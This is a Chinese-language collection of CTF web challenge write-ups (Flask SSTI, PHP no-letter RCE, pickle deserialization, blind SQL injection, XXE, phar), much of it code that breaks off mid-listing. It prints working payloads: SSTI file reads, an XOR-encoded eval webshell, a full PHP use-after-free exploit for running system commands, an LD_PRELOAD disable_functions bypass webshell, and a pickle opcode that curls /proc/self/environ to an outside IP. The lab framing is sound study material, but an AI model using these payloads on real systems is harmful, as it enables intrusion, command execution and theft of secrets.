[GYCTF2020]FlaskApp 看题目就知道是Flask框架: 一个简易加密框,还有个解密框,对应的是base64加解密,提示里面没东西 经过测试,将{{1+1}}
加密后,放到解密框: 答案为2,存在SSTI注入,经过一系列的测试,发现目标ban掉了os,popen,request 但是没ban连接符,那等于没ban,直接放payload{{url_for.__globals__.get('o'+'s')['po'+'pen']('cat /this_is_the_fl'+'ag.txt').read()}}
:
后面看了一下网上的WP,大致思路和我的差不多,其实可以读到一些源码,提示里说了失败是成功之母,那就是让他报错: 不读也无所谓,附上一个使用catch_warning的payload{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
EZEZ
[极客大挑战 2019]RCE ME 本以为这题没什么,实际上感觉还挺有意思的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting (0 );if (isset ($_GET ['code' ])){ $code =$_GET ['code' ]; if (strlen ($code )>40 ){ die ("This is too Long." ); } if (preg_match ("/[A-Za-z0-9]+/" ,$code )){ die ("NO." ); } @eval ($code ); } else { highlight_file (__FILE__ ); }
源码很简单无字母RCE,这我就不多说了,然后捏:
1 code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27cmd%27])
这就是我们的payload,利用了异或,这不难理解,之后可以执行phpinfo: 之后访问一下蚁剑: flag文件没有读的权限,预计是要执行readflag,但是由于ban掉的函数很多,导致我们无法去执行!所以在这里就产生了几种payload,接下来是我的愚见哈: 方法一: 利用UAF(pwn):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 <?php function ctfshow ($cmd ) { global $abc , $helper , $backtrace ; class Vuln { public $a ; public function __destruct ( ) { global $backtrace ; unset ($this ->a); $backtrace = (new Exception )->getTrace (); if (!isset ($backtrace [1 ]['args' ])) { $backtrace = debug_backtrace (); } } } class Helper { public $a , $b , $c , $d ; } function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p +$j ]); } return $address ; } function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= sprintf ("%c" ,($ptr & 0xff )); $ptr >>= 8 ; } return $out ; } function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = sprintf ("%c" ,($v & 0xff )); $v >>= 8 ; } } function leak ($addr , $p = 0 , $s = 8 ) { global $abc , $helper ; write ($abc , 0x68 , $addr + $p - 0x10 ); $leak = strlen ($helper ->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } function parse_elf ($base ) { $e_type = leak ($base , 0x10 , 2 ); $e_phoff = leak ($base , 0x20 ); $e_phentsize = leak ($base , 0x36 , 2 ); $e_phnum = leak ($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = leak ($header , 0 , 4 ); $p_flags = leak ($header , 4 , 4 ); $p_vaddr = leak ($header , 0x10 ); $p_memsz = leak ($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz ; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = leak ($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak ($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 0x1000 * $i ; $leak = leak ($addr , 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr ; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = leak ($addr ); $f_name = leak ($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } function trigger_uaf ($arg ) { $arg = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); $vuln = new Vuln (); $vuln ->a = $arg ; } if (stristr (PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); trigger_uaf ('x' ); $abc = $backtrace [1 ]['args' ][0 ]; $helper = new Helper ; $helper ->b = function ($x ) { }; if (strlen ($abc ) == 79 || strlen ($abc ) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr ($abc , 0 ); $php_heap = str2ptr ($abc , 0x58 ); $abc_addr = $php_heap - 0xc8 ; write ($abc , 0x60 , 2 ); write ($abc , 0x70 , 6 ); write ($abc , 0x10 , $abc_addr + 0x60 ); write ($abc , 0x18 , 0xa ); $closure_obj = str2ptr ($abc , 0x20 ); $binary_leak = leak ($closure_handlers , 8 ); if (!($base = get_binary_base ($binary_leak ))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf ($base ))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs ($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system ($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write ($abc , $fake_obj_offset + $i , leak ($closure_obj , $i )); } write ($abc , 0x20 , $abc_addr + $fake_obj_offset ); write ($abc , 0xd0 + 0x38 , 1 , 4 ); write ($abc , 0xd0 + 0x68 , $zif_system ); ($helper ->b)($cmd ); exit (); } ctfshow ("ls -l" );ob_end_flush ();?>
这是UAF脚本,放在cmd参数后面,再转义一下,最后是执行的命令,就可以读出flag了: 由于是pwn的知识我也不是很懂,似乎是跟指针为NULL有关
方法二: 使用动态链接库—— LD_PRELOAD,因为 LD_PRELOAD允许我们在执行程序之前优先加载 动态链接库。利用这个,我们就可以使用自己的函数,同时我们也可以向别人的程序注入恶意程序,从而达到我们的目的。 不难理解,也就是上传木马: 里面有绕过禁用函数的so和php文件突破思路 :
创建新进程
用c编写我们的恶意代码,将其转化为 so文件
让我们的 so文件为LD_PRELOAD
让我们的 so文件优先加载
运行主体 php函数
经过测试,只有tmp文件可以上传文件: 改了个名字更方便,123.php的内容是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>" ; $cmd = $_GET ["cmd" ]; $out_path = $_GET ["outpath" ]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1" ; echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>" ; putenv ("EVIL_CMDLINE=" . $evil_cmdline ); $so_path = $_GET ["sopath" ]; putenv ("LD_PRELOAD=" . $so_path ); mail ("" , "" , "" , "" ); echo "<p> <b>output</b>: " . nl2br (file_get_contents ($out_path )) . "</p>" ; unlink ($out_path ); ?>
还是看得懂一点的,动态链接库加载SO文件,然后运行SO文件中的函数,就绕过了: 就这么多啦~
参考文献:
受益匪浅
[UNCTF2020]easy_flask2 其实这也不算BUUCTF上的题,但是图个方便记在这里 我愿称之为pickle反序列化从0到1! 我强烈推荐这位师傅的博客https://goodapple.top/archives/1069 写的很好,看了一个多小时了,看懂了,感觉收获还是挺大的,之前一直做php的反序列化,这次是python的反序列化,受益匪浅 有点涉及pwn的知识,不过还是可以勉强理解的 常用opcode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 指令 描述 具体写法 栈上的变化 c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈 o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 N 实例化一个None N 获得的对象入栈 S 实例化一个字符串对象 S'xxx'\n(也可以使用双引号、\'等python字符串形式) 获得的对象入栈 V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈 I 实例化一个int对象 Ixxx\n 获得的对象入栈 F 实例化一个float对象 Fx.x\n 获得的对象入栈 R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈 . 程序结束,栈顶的一个元素作为pickle.loads()的返回值 . 无 ( 向栈中压入一个MARK标记 ( MARK标记入栈 t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈 ) 向栈中直接压入一个空元组 ) 空元组入栈 l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈 ] 向栈中直接压入一个空列表 ] 空列表入栈 d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈 } 向栈中直接压入一个空字典 } 空字典入栈 p 将栈顶对象储存至memo_n pn\n 无 g 将memo_n的对象压栈 gn\n 对象被压栈 0 丢弃栈顶对象 0 栈顶对象被丢弃 b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈 s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新 a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新 e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新
这些都挺有用的,就简单介绍一个例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import pickleimport os class Person (): def __init__ (self ): self.age=18 self.name="Pickle" def __reduce__ (self ): command=r"whoami" return (os.system,(command,)) p=Person() opcode=pickle.dumps(p) print (opcode) P=pickle.loads(opcode) print ('The age is:' +str (P.age),'The name is:' +P.name)
1 2 3 4 5 6 7 8 9 10 import pickleopcode=b'''cos system (S'whoami' tR.''' pickle.loads(opcode)
上下2个文件效果都一样,一个是reduce魔术方法触发,一个是我们自己写opcode来触发,神奇不?,pickle.loads对应的是R阶段,也就是弹出的阶段 可以理解为就是执行吧(应该)
废话不多说来看一下题目 叫我们输入名字,先看看源码: 发现了个路由:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from flask import Flask,render_template,redirect,request,session,make_responseimport configimport pickleimport ioimport sysimport base64class Person : def __init__ (self, name, is_admin ): self.name = name self.is_admin = is_admin class RestrictedUnpickler (pickle.Unpickler): def find_class (self, module, name ): if module == '__main__' : return getattr (sys.modules['__main__' ], name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads (s ): return RestrictedUnpickler(io.BytesIO(s)).load() app = Flask(__name__) flag = "xxx" @app.route("/" ) def index (): app.config["SECRET_KEY" ] = config.secret_key return redirect("login" ) @app.route("/login" ,methods=["GET" ,"POST" ] ) def login (): if request.form.get('name' ): name = request.form.get('name' ) person = Person(name,0 ) pkl = pickle.dumps(person) pkl = base64.b64encode(pkl) resp = make_response(name) resp.set_cookie('pkl' ,pkl) session['name' ] = name session['is_admin' ] = 0 return resp else : if session.get('name' ): if b'R' in base64.b64decode(request.cookies['pkl' ]): return "RCE??" person = pickle.loads(base64.b64decode(request.cookies['pkl' ])) print (person.is_admin) if session.get('is_admin' ) == 1 : if person.is_admin == 1 : return "HHHacker!Here is Your flag : " + flag return render_template("index.html" ,name=session.get('name' )) else : return render_template("login.html" ) @app.route("/logout" ,methods=["GET" ,"POST" ] ) def logout (): resp = make_response("success" ) resp.delete_cookie("session" ) resp.delete_cookie("pkl" ) return resp @app.route("/source" ) def source (): return open ('code.txt' ,'r' ).read() if __name__ == "__main__" : app.run(host="0.0.0.0" ,port=5000 ,debug=True )
获得了源代码,可以审计一下 审计一番可以发现,在/login处存在pickle反序列化,我们可以看到有个pickle.loads
函数,这就是我们的触发点,我们来手写一波opcode:
1 2 3 4 opcode=b'''(S'curl -F "filename=@/proc/self/environ" 43.140.251.169:7777' ios system .'''
一个简单的rce的opcode,这个其实大多数人都想不到的,你不知道FLAG在环境变量里 base64加密一下,然后vps起个监听就好了,有人可能会问反弹shell呢?不存在啊,我试过了,反弹shell无效
方法二:
1 2 3 4 secret = GLOBAL('__main__' , 'config' ) secret.secret_key = 'hello' person = INST('__main__' , 'Person' , 'admin' , 1 ) return person
用pker脚本去生成payload:
1 2 3 4 secret = GLOBAL('__main__' , 'config' ) secret.secret_key = 'hello' person = INST('__main__' , 'Person' , 'admin' , 1 ) return person
运行指令python pker.py < pker.txt
之后就会生成:
1 b"c__main__\nconfig\np0\n0g0\n(}(S'secret_key'\nS'hello'\ndtb(S'admin'\nI1\ni__main__\nPerson\np2\n0g2\n."
加密一下: 传入cookie里,然后就覆盖掉了config.secret_key,先访问login,再访问/,让key就等于我们自定义的hello
已经登不上去了 之后用flask-session-cookie-manager-master
伪造一个签名: 给cookie装上: 嗯哼?
[WUSTCTF2020]颜值成绩查询 考点:时间盲注,FUZZ 这题妥妥的脑瘫题,不会出可以不出好吗,是BUU复现的问题当我们说好吗,但是你他妈拉个b的ban个空格,这里能出bug我是没想到if(2 >1,1,0)
这里这么多空格你不检测到"stunum":f"if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where
table_schema=database()),{i},1))>{mid},sleep(0.01),1)"}
他吗的这里多一个空格就检测到,你是什么物种啊???? 气得我不想说什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import requestsimport timeurl = "http://7d9cb5e2-3bda-47c6-92a8-ec8e0fda267f.node4.buuoj.cn:81/" result = '' i = 0 while True : i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 data = { "stunum" :f"if(ascii(substr((select(group_concat(flag,value))from`flag`),{i} ,1))>{mid} ,sleep(0.01),1)" } t1=time.time() r = requests.get(url,params=data) t2=time.time() print (t2-t1) if t2-t1>0.5 : head = mid + 1 else : tail = mid if head != 32 : result += chr (head) else : break print (result)
[MRCTF2020]套娃 这里还是学到了点东西的,不知道什么是JSFUCK编码,这一题刚好学习了一下https://www.jianshu.com/p/e7246218f424 查看源码: 很简单,根据php的特写.
会被转化为下划线,用.
去绕过第一个判断 第二个判断是一个preg_match,由于没有用m识别符,所以识别不到%0a,最终payload为?b.u.p.t=23333%0a
然后就进入了下一个页面: 访问: 查看源码就发现JSFUCK编码注释: 解码一下得到: 叫我们post一下嘛: 得到源码了嘛,审计之后发现需要伪造一个ip请求头,经过测试Client-Ip
即可 然后,又有一个判断file_get_contents($_GET['2333']) === 'todat is a happy day'
这边用data伪协议传参即可绕过 最后一个判断是对我们输入的file进行了一个加密,这边我们得逆向解密一下,写了个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 payload="flag.php" def decode (s ): re='' for i in range (len (s)): re+=chr (ord (s[i])-i*2 ) return re a=decode(payload) print (a)print (len (a))
把输出的结果base64编码一下,得到最后结果:?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=
结束啦!
[Zer0pts2020]Can you guess it? 页面是一个guess页面,可以查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php include 'config.php' ; if (preg_match ('/config\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("I don't know what you are thinking, but I won't let you read it :)" ); } if (isset ($_GET ['source' ])) { highlight_file (basename ($_SERVER ['PHP_SELF' ])); exit (); } $secret = bin2hex (random_bytes (64 ));if (isset ($_POST ['guess' ])) { $guess = (string ) $_POST ['guess' ]; if (hash_equals ($secret , $guess )) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.' ; } } ?>
flag在config.php里
random_bytes(5)
就是生成五位数的随机字符串,经常配合bin2hex使用,去生成一些密文
hash_equals:意思和===
一样
$_SERVER[‘PHP_SELF’]:
http://www.baidu.com/index.php/a/b?c=1
:获得的是/index.php/a/b
,再加上basename得到的结果就是b
,后面传递的参数是忽略的
basename:返回路径里最后的一个部分,很好理解
这道题的入口也在这里,首先想要破解一个128位的强比较是完全不可能的,所以只有可能去绕过正则匹配了
这边经过本地测试,用以下脚本测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $path ="/test/test/" ;for ($i =1 ;$i <256 ;$i ++){ $new_path =$path .chr ($i ); if (basename ($new_path )=='test' ) { echo $i ; echo "<br>" ; echo chr ($i ); echo "<br>" ; echo basename ($new_path ); echo "<br>" ; } }
写这个脚本你可以发现结果: 这边在128后就是一些非数字字母字符,这种字符basename是无法识别出来的,所以可以用这个绕过,随便用一个字符index.php/config.php/�?source
: solved!
[CISCN2019 华北赛区 Day1 Web2]ikun 考点:JWT,代码审计,python(pickle反序列化) 这边进入之后是一个购买界面: 意思是要我们买到lv6的账号,但是我翻了一圈发现没有,写了个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requestsurl="http://02733054-c1a3-46f7-818d-9cfaaf70e26f.node4.buuoj.cn:81/shop" for i in range (1000 ): data={ "page" :i } r=requests.get(url=url,params=data) if "/static/img/lv/lv6.png" in r.text: print (i) print ('find!!!' ) if i==999 : print ('nope' )
最后是发现在page=181
有lv6: 然后在这个购买界面就有个小漏洞,你买个普通账号然后抓包: 你改折扣会发现可以购买成功,所以可以花几毛钱买一个普通账号 但是我们对lv6这个账号进行这种操作就会: 这边就会重定向到一个界面,我们访问一下 会发现该界面只允许管理员访问,然后看看cookie: 有一个jwt,这边用c-jwt-cracker撞开jwt: 这个是用来找key的,发现是iKun,我们去重新生成一个jwt:https://jwt.io/ 用这个jwt登录 访问源代码: 有网站的备份源码 这边代码审计一下: 在admin函数里发现了一个pickle.loads反序列化,那这样就好办了 我们生成一个:
1 2 3 4 5 6 7 8 9 10 11 import pickleimport urllibimport commandsimport osclass payload (object ): def __reduce__ (self ): return (eval ,("__import__('os').popen('cat /flag.txt').read()" ,)) a = payload() print urllib.quote(pickle.dumps(a))
先不要问我为什么不能用opcode,问就是本地可以靶场不行,估计是什么模块靶场没安装吧 得到payload,直接传进去: 在hackbar中记得encode一下,因为浏览器要解码一次 然后记得点一下一件成为大会员,点了这个才会给你载荷 最终可以得出答案,burp里就不需要url编码:
[CSCCTF 2019 Qual]FlaskLight 访问源码: 直接就上payload了,很简单SSTI :?search={{lipsum[request.args.a].os.popen(%27cat%20/flasklight/coomme_geeeett_youur_flek%27).read()}}&a=__globals__
[GWCTF 2019]枯燥的抽奖 考点:伪随机数 查看源代码: 发现check.php: 可以看到代码用的是mt_srand设置的种子 这一题考的就是如何利用php_mt_seed去获得种子,先把我们前十位数字化为脚本能识别的数字
1 2 3 4 5 6 7 8 9 10 11 str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' str2='enZ5ZoZ0Vn' str3 = str1[::-1 ] length = len (str2) res='' for i in range (len (str2)): for j in range (len (str1)): if str2[i] == str1[j]: res+=str (j)+' ' +str (j)+' ' +'0' +' ' +str (len (str1)-1 )+' ' break print (res)
得到种子135063921 然后在本地运行运行php:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php mt_srand(135063921 ); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ; $str ='' ; $len1=20 ; for ( $i = 0 ; $i < $len1; $i++ ){ $str .=substr($str_long1, mt_rand(0 , strlen($str_long1) - 1 ), 1 ); } $str_show = substr($str , 0 , 10 ); echo "<p id='p1'>" .$str_show."</p>" ; echo "<p id='p1'>" .$str ."</p>" ; ?>
[NCTF2019]True XML cookbook 考点:XXE注入 和之前的fake xml cookbook有点像,抓个包: 你会发现可以读取文件,但是flag文件不知道在哪儿,看了下wp才知道:
1 2 3 4 5 /proc/net/tcp /proc/net/udp /proc/net/dev /proc/net/arp /proc/net/fib_trie
查看一下/proc/net/fib_trie
: 看到了一个内网ip对他的D段ip进行爆破: 在10.244.80.54
发现了flag: 还读了一下源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php $USERNAME = 'admin' ; $PASSWORD = '024b87931a03f738fff6693ce0a78c88' ; $result = null ;libxml_disable_entity_loader (false );$xmlfile = file_get_contents ('php://input' );try { $dom = new DOMDocument (); $dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom ($dom ); $username = $creds ->username; $password = $creds ->password; if ($username == $USERNAME && $password == $PASSWORD ){ $result = sprintf ("<result><code>%d</code><msg>%s</msg></result>" ,1 ,$username ); }else { $result = sprintf ("<result><code>%d</code><msg>%s</msg></result>" ,0 ,$username ); } }catch (Exception $e ){ $result = sprintf ("<result><code>%d</code><msg>%s</msg></result>" ,3 ,$e ->getMessage ()); } header ('Content-Type: text/html; charset=utf-8' );echo $result ;?> <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); } ?>
[CISCN2019 华北赛区 Day1 Web1]Dropbox 考点:phar反序列化,代码审计,任意文件下载 首先页面是个注册登入界面,测试过,也没啥sql注入之类的,就普通注册个账号登入: 可以发现有个文件上传的地方,我们随便上传一张图片: 我们点下载,然后抓包,可能是挖过洞了,有点思路,遇到下载的地方,我就会测试有没有任意文件下载: 可以发现是存在任意文件下载的,这边可以读取源文件,那就一个个都读过去:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); } ?> <!DOCTYPE html> <html> <meta charset="utf-8" > <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" > <title>网盘管理</title> <head> <link href="static/css/bootstrap.min.css" rel="stylesheet" > <link href="static/css/panel.css" rel="stylesheet" > <script src="static/js/jquery.min.js" ></script> <script src="static/js/bootstrap.bundle.min.js" ></script> <script src="static/js/toast.js" ></script> <script src="static/js/panel.js" ></script> </head> <body> <nav aria-label="breadcrumb" > <ol class ="breadcrumb "> <li class ="breadcrumb -item active ">管理面板</li > <li class ="breadcrumb -item active "><label for ="fileInput " class ="fileLabel ">上传文件</label ></li > <li class ="active ml -auto "><a href ="#">你好 <?php echo $_SESSION ['username ']?></a ></li > </ol > </nav > <input type ="file " id ="fileInput " class ="hidden "> <div class ="top " id ="toast -container "></div > <?php include "class .php ";$a = new FileList ($_SESSION ['sandbox ']); $a ->Name (); $a ->Size (); ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); } if (!isset ($_POST ['filename' ])) { die (); } include "class.php" ;ini_set ("open_basedir" , getcwd () . ":/etc:/tmp" );chdir ($_SESSION ['sandbox' ]);$file = new File ();$filename = (string ) $_POST ['filename' ];if (strlen ($filename ) < 40 && $file ->open ($filename ) && stristr ($filename , "flag" ) === false ) { Header ("Content-type: application/octet-stream" ); Header ("Content-Disposition: attachment; filename=" . basename ($filename )); echo $file ->close (); } else { echo "File not exist" ; } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php session_start ();if (isset ($_SESSION ['login' ])) { header ("Location: index.php" ); die (); } ?> <?php include "class.php" ;if (isset ($_GET ['register' ])) { echo "<script>toast('注册成功', 'info');</script>" ; } if (isset ($_POST ["username" ]) && isset ($_POST ["password" ])) { $u = new User (); $username = (string ) $_POST ["username" ]; $password = (string ) $_POST ["password" ]; if (strlen ($username ) < 20 && $u ->verify_user ($username , $password )) { $_SESSION ['login' ] = true ; $_SESSION ['username' ] = htmlentities ($username ); $sandbox = "uploads/" . sha1 ($_SESSION ['username' ] . "sftUahRiTz" ) . "/" ; if (!is_dir ($sandbox )) { mkdir ($sandbox ); } $_SESSION ['sandbox' ] = $sandbox ; echo ("<script>window.location.href='index.php';</script>" ); die (); } echo "<script>toast('账号或密码错误', 'warning');</script>" ; } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 <?php error_reporting (0 );$dbaddr = "127.0.0.1" ;$dbuser = "root" ;$dbpass = "root" ;$dbname = "dropbox" ;$db = new mysqli ($dbaddr , $dbuser , $dbpass , $dbname );class User { public $db ; public function __construct ( ) { global $db ; $this ->db = $db ; } public function user_exist ($username ) { $stmt = $this ->db->prepare ("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;" ); $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $stmt ->store_result (); $count = $stmt ->num_rows; if ($count === 0 ) { return false ; } return true ; } public function add_user ($username , $password ) { if ($this ->user_exist ($username )) { return false ; } $password = sha1 ($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare ("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);" ); $stmt ->bind_param ("ss" , $username , $password ); $stmt ->execute (); return true ; } public function verify_user ($username , $password ) { if (!$this ->user_exist ($username )) { return false ; } $password = sha1 ($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare ("SELECT `password` FROM `users` WHERE `username` = ?;" ); $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $stmt ->bind_result ($expect ); $stmt ->fetch (); if (isset ($expect ) && $expect === $password ) { return true ; } return false ; } public function __destruct ( ) { $this ->db->close (); } } class FileList { private $files ; private $results ; private $funcs ; public function __construct ($path ) { $this ->files = array (); $this ->results = array (); $this ->funcs = array (); $filenames = scandir ($path ); $key = array_search ("." , $filenames ); unset ($filenames [$key ]); $key = array_search (".." , $filenames ); unset ($filenames [$key ]); foreach ($filenames as $filename ) { $file = new File (); $file ->open ($path . $filename ); array_push ($this ->files, $file ); $this ->results[$file ->name ()] = array (); } } public function __call ($func , $args ) { array_push ($this ->funcs, $func ); foreach ($this ->files as $file ) { $this ->results[$file ->name ()][$func ] = $file ->$func (); } } public function __destruct ( ) { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">' ; $table .= '<thead><tr>' ; foreach ($this ->funcs as $func ) { $table .= '<th scope="col" class="text-center">' . htmlentities ($func ) . '</th>' ; } $table .= '<th scope="col" class="text-center">Opt</th>' ; $table .= '</thead><tbody>' ; foreach ($this ->results as $filename => $result ) { $table .= '<tr>' ; foreach ($result as $func => $value ) { $table .= '<td class="text-center">' . 